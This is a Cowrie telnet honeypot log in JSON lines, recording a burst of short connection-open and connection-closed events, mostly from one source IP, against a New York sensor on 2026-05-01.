{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42576,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b93e3787e85","protocol":"telnet","message":"New connection: 194.163.135.148:42576 (159.203.135.109:23) [session: 7b93e3787e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:23.400433Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42562,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1090747b6ae","protocol":"telnet","message":"New connection: 194.163.135.148:42562 (159.203.135.109:23) [session: d1090747b6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:23.732532Z"}
{"eventid":"cowrie.session.closed","duration":32.85715103149414,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:23.759261Z","src_ip":"194.163.135.148","session":"cac9f099bc56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.797052145004272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:24.745543Z","src_ip":"194.163.135.148","session":"2e2a3f945d7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160447359085083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:25.731104Z","src_ip":"194.163.135.148","session":"8dd9c367a641","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.71635580062866,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:26.698000Z","src_ip":"194.163.135.148","session":"3f6f209aba90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42652,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f3415a0ec72","protocol":"telnet","message":"New connection: 194.163.135.148:42652 (159.203.135.109:23) [session: 1f3415a0ec72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:27.158362Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42672,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6d187883bb6","protocol":"telnet","message":"New connection: 194.163.135.148:42672 (159.203.135.109:23) [session: f6d187883bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:27.931620Z"}
{"eventid":"cowrie.session.closed","duration":31.27756357192993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:28.426163Z","src_ip":"194.163.135.148","session":"30ab06e5d72a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42690,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a06e39bdc92","protocol":"telnet","message":"New connection: 194.163.135.148:42690 (159.203.135.109:23) [session: 2a06e39bdc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:29.050571Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42722,"dst_ip":"159.203.135.109","dst_port":23,"session":"f33483cacc76","protocol":"telnet","message":"New connection: 194.163.135.148:42722 (159.203.135.109:23) [session: f33483cacc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:30.602640Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42726,"dst_ip":"159.203.135.109","dst_port":23,"session":"26224143acb5","protocol":"telnet","message":"New connection: 194.163.135.148:42726 (159.203.135.109:23) [session: 26224143acb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:30.718076Z"}
{"eventid":"cowrie.session.closed","duration":34.60610032081604,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:30.731162Z","src_ip":"194.163.135.148","session":"3ef1d2a241c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.217262744903564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:31.335681Z","src_ip":"194.163.135.148","session":"76cdd2601d0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.86781930923462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:32.094383Z","src_ip":"194.163.135.148","session":"5e4783e09687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42752,"dst_ip":"159.203.135.109","dst_port":23,"session":"b44b4c0c4add","protocol":"telnet","message":"New connection: 194.163.135.148:42752 (159.203.135.109:23) [session: b44b4c0c4add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:32.121618Z"}
{"eventid":"cowrie.session.closed","duration":34.9065043926239,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:32.377657Z","src_ip":"194.163.135.148","session":"95e83403119d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.572914600372314,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:33.546308Z","src_ip":"194.163.135.148","session":"ae8f8e0a34b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42788,"dst_ip":"159.203.135.109","dst_port":23,"session":"d49056ab89f0","protocol":"telnet","message":"New connection: 194.163.135.148:42788 (159.203.135.109:23) [session: d49056ab89f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:33.844092Z"}
{"eventid":"cowrie.session.closed","duration":33.13759732246399,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:34.542860Z","src_ip":"194.163.135.148","session":"7fb211e51f21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42816,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e4ddb4db1f3","protocol":"telnet","message":"New connection: 194.163.135.148:42816 (159.203.135.109:23) [session: 5e4ddb4db1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:35.047992Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42818,"dst_ip":"159.203.135.109","dst_port":23,"session":"eee1959bcb23","protocol":"telnet","message":"New connection: 194.163.135.148:42818 (159.203.135.109:23) [session: eee1959bcb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:35.066992Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42846,"dst_ip":"159.203.135.109","dst_port":23,"session":"37fbbb564e6a","protocol":"telnet","message":"New connection: 194.163.135.148:42846 (159.203.135.109:23) [session: 37fbbb564e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:36.386809Z"}
{"eventid":"cowrie.session.closed","duration":34.35605072975159,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:36.839863Z","src_ip":"194.163.135.148","session":"f66a601ce60e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42878,"dst_ip":"159.203.135.109","dst_port":23,"session":"99b981e88e8f","protocol":"telnet","message":"New connection: 194.163.135.148:42878 (159.203.135.109:23) [session: 99b981e88e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:37.483072Z"}
{"eventid":"cowrie.session.closed","duration":35.30147933959961,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:37.721638Z","src_ip":"194.163.135.148","session":"1fd27c644e85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88842701911926,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:38.043606Z","src_ip":"194.163.135.148","session":"194146b2c78e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42892,"dst_ip":"159.203.135.109","dst_port":23,"session":"369653cd6371","protocol":"telnet","message":"New connection: 194.163.135.148:42892 (159.203.135.109:23) [session: 369653cd6371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:38.394363Z"}
{"eventid":"cowrie.session.closed","duration":33.99234628677368,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:39.161952Z","src_ip":"194.163.135.148","session":"4bcef4e8a984","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.639660596847534,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:39.868365Z","src_ip":"194.163.135.148","session":"025050322500","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42934,"dst_ip":"159.203.135.109","dst_port":23,"session":"635f8fe5049a","protocol":"telnet","message":"New connection: 194.163.135.148:42934 (159.203.135.109:23) [session: 635f8fe5049a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:39.934849Z"}
{"eventid":"cowrie.session.closed","duration":33.71955370903015,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:40.133287Z","src_ip":"194.163.135.148","session":"fd4754f7135c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42944,"dst_ip":"159.203.135.109","dst_port":23,"session":"39f83cafcb58","protocol":"telnet","message":"New connection: 194.163.135.148:42944 (159.203.135.109:23) [session: 39f83cafcb58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:40.470663Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":42956,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fa384c3fccd","protocol":"telnet","message":"New connection: 194.163.135.148:42956 (159.203.135.109:23) [session: 3fa384c3fccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:41.077225Z"}
{"eventid":"cowrie.session.closed","duration":32.98050260543823,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:42.793616Z","src_ip":"194.163.135.148","session":"a99fd961fe17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81089639663696,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:43.051118Z","src_ip":"194.163.135.148","session":"2a78178a4983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.131425619125366,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:43.120723Z","src_ip":"194.163.135.148","session":"dab079d75f30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.363489866256714,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:43.204063Z","src_ip":"194.163.135.148","session":"9ce14e89a527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.814507246017456,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:43.402506Z","src_ip":"194.163.135.148","session":"a42239295089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.45100498199463,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:43.469337Z","src_ip":"194.163.135.148","session":"c5b6b412c42a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20243954658508,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:43.472877Z","src_ip":"194.163.135.148","session":"bfef03f16699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.865278244018555,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:43.522553Z","src_ip":"194.163.135.148","session":"1335e681ac86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.91153359413147,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:44.166816Z","src_ip":"194.163.135.148","session":"57d141cca989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43080,"dst_ip":"159.203.135.109","dst_port":23,"session":"aced438579d3","protocol":"telnet","message":"New connection: 194.163.135.148:43080 (159.203.135.109:23) [session: aced438579d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:46.032637Z"}
{"eventid":"cowrie.session.closed","duration":32.04695177078247,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:48.499379Z","src_ip":"194.163.135.148","session":"34611af157a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2355170249939,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:50.351008Z","src_ip":"194.163.135.148","session":"b5c051554239","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.513338327407837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:50.477180Z","src_ip":"194.163.135.148","session":"10403eafed36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.52327513694763,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:51.292839Z","src_ip":"194.163.135.148","session":"be14e332d898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43234,"dst_ip":"159.203.135.109","dst_port":23,"session":"0610a8bedaba","protocol":"telnet","message":"New connection: 194.163.135.148:43234 (159.203.135.109:23) [session: 0610a8bedaba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:52.418792Z"}
{"eventid":"cowrie.session.closed","duration":31.231913328170776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:52.793179Z","src_ip":"194.163.135.148","session":"7845fdc46639","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.408254146575928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:53.205502Z","src_ip":"194.163.135.148","session":"00cb32e62e35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43230,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b39663a9ca1","protocol":"telnet","message":"New connection: 194.163.135.148:43230 (159.203.135.109:23) [session: 9b39663a9ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:53.213166Z"}
{"eventid":"cowrie.session.closed","duration":33.275673627853394,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:53.382064Z","src_ip":"194.163.135.148","session":"92528fee6313","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758190393447876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:53.387512Z","src_ip":"194.163.135.148","session":"322beb6253f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.363349199295044,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:53.774635Z","src_ip":"194.163.135.148","session":"5ec4686d90d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43270,"dst_ip":"159.203.135.109","dst_port":23,"session":"d64d96bb0c50","protocol":"telnet","message":"New connection: 194.163.135.148:43270 (159.203.135.109:23) [session: d64d96bb0c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:54.325526Z"}
{"eventid":"cowrie.session.closed","duration":32.53626537322998,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:54.964254Z","src_ip":"194.163.135.148","session":"4dee89d0f3de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00138139724731,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:55.315407Z","src_ip":"187.223.244.130","session":"0cd1d5ce5093","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":37914,"dst_ip":"159.203.135.109","dst_port":23,"session":"8afd7a7d229e","protocol":"telnet","message":"New connection: 166.62.41.96:37914 (159.203.135.109:23) [session: 8afd7a7d229e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:55.448678Z"}
{"eventid":"cowrie.session.closed","duration":32.73124170303345,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:55.777833Z","src_ip":"194.163.135.148","session":"813438ee9b5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.5162148475647,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:56.248644Z","src_ip":"194.163.135.148","session":"d1090747b6ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.47820711135864,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:57.878526Z","src_ip":"194.163.135.148","session":"7b93e3787e85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43388,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb86011781fd","protocol":"telnet","message":"New connection: 194.163.135.148:43388 (159.203.135.109:23) [session: cb86011781fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:58.939769Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43404,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b237358b65b","protocol":"telnet","message":"New connection: 194.163.135.148:43404 (159.203.135.109:23) [session: 8b237358b65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:59.459205Z"}
{"eventid":"cowrie.session.closed","duration":31.69018054008484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:44:59.621701Z","src_ip":"194.163.135.148","session":"f6d187883bb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.25332260131836,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:00.411599Z","src_ip":"194.163.135.148","session":"1f3415a0ec72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43466,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f06de7865e3","protocol":"telnet","message":"New connection: 194.163.135.148:43466 (159.203.135.109:23) [session: 2f06de7865e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:01.520575Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43470,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfbae1f3b9f9","protocol":"telnet","message":"New connection: 194.163.135.148:43470 (159.203.135.109:23) [session: bfbae1f3b9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:01.839731Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43490,"dst_ip":"159.203.135.109","dst_port":23,"session":"73371a020468","protocol":"telnet","message":"New connection: 194.163.135.148:43490 (159.203.135.109:23) [session: 73371a020468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:02.222952Z"}
{"eventid":"cowrie.session.closed","duration":31.64151620864868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:02.244074Z","src_ip":"194.163.135.148","session":"f33483cacc76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.532804250717163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:02.250738Z","src_ip":"194.163.135.148","session":"26224143acb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99347400665283,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:04.043926Z","src_ip":"194.163.135.148","session":"2a06e39bdc92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43584,"dst_ip":"159.203.135.109","dst_port":23,"session":"78b75e5e783d","protocol":"telnet","message":"New connection: 194.163.135.148:43584 (159.203.135.109:23) [session: 78b75e5e783d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:06.113818Z"}
{"eventid":"cowrie.session.closed","duration":34.45347619056702,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:06.574992Z","src_ip":"194.163.135.148","session":"b44b4c0c4add","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43596,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ac5e24b4df","protocol":"telnet","message":"New connection: 194.163.135.148:43596 (159.203.135.109:23) [session: 55ac5e24b4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:06.607314Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43600,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6dc0f509c5f","protocol":"telnet","message":"New connection: 194.163.135.148:43600 (159.203.135.109:23) [session: f6dc0f509c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:06.780443Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43602,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b5b11208c1","protocol":"telnet","message":"New connection: 194.163.135.148:43602 (159.203.135.109:23) [session: 12b5b11208c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:06.817989Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43616,"dst_ip":"159.203.135.109","dst_port":23,"session":"c189745f362a","protocol":"telnet","message":"New connection: 194.163.135.148:43616 (159.203.135.109:23) [session: c189745f362a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:06.986406Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43622,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d05a8e2fa9c","protocol":"telnet","message":"New connection: 194.163.135.148:43622 (159.203.135.109:23) [session: 8d05a8e2fa9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:07.145366Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43642,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a83d9c918d1","protocol":"telnet","message":"New connection: 194.163.135.148:43642 (159.203.135.109:23) [session: 2a83d9c918d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:08.066899Z"}
{"eventid":"cowrie.session.closed","duration":33.584914445877075,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:08.632773Z","src_ip":"194.163.135.148","session":"5e4ddb4db1f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.55709910392761,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:08.943707Z","src_ip":"194.163.135.148","session":"37fbbb564e6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":43694,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e9d77f750a7","protocol":"telnet","message":"New connection: 194.163.135.148:43694 (159.203.135.109:23) [session: 2e9d77f750a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:09.350807Z"}
{"eventid":"cowrie.session.closed","duration":32.00310397148132,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:45:09.486066Z","src_ip":"194.163.135.148","session":"99b981e88e8f","protocol":"telnet"}
